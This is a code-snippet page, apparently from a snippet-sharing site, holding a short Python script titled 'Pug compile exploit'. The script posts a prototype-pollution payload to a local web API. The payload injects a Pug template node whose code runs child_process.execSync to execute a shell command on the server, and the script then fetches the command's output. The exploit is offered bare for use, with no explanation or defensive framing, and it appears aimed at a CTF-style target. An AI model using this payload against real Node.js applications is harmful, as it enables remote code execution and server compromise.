Pug compile exploit

import requests

ENDPOINT = 'http://127.0.0.1:1337/api/submit'
OUTPUT = 'http://127.0.0.1:1337/static/out'

request = requests.post(ENDPOINT, json = {
   "artist.name":"Gingell",
       "__proto__.block": {
           "type":"Text",
           "line":"process.mainModule.require('child_process').execSync('ls > /app/static/out')"
       }
})
print (request.text)
print (requests.get(OUTPUT).text)

Similar codes

0 vote195 views1 answer
Take first n row of dictionary python
Python
14 votes179 views3 answers
Python csv to excel
Python
0 vote167 views1 answer
How to use put method in django
Python
0 vote196 views1 answer
Parquet to dataframe
Python
0 vote181 views1 answer
Effient way to find prime no inpython
Python
35 votes181 views6 answers
How to make a virtual environment python 3
Python
79 votes171 views6 answers
Python current working directory
Python
0 vote173 views1 answer
Instagram username checker
Python
18 votes169 views6 answers
Gui in python
Python
-1 vote155 views1 answer
Taking hour information from time in pandas
Python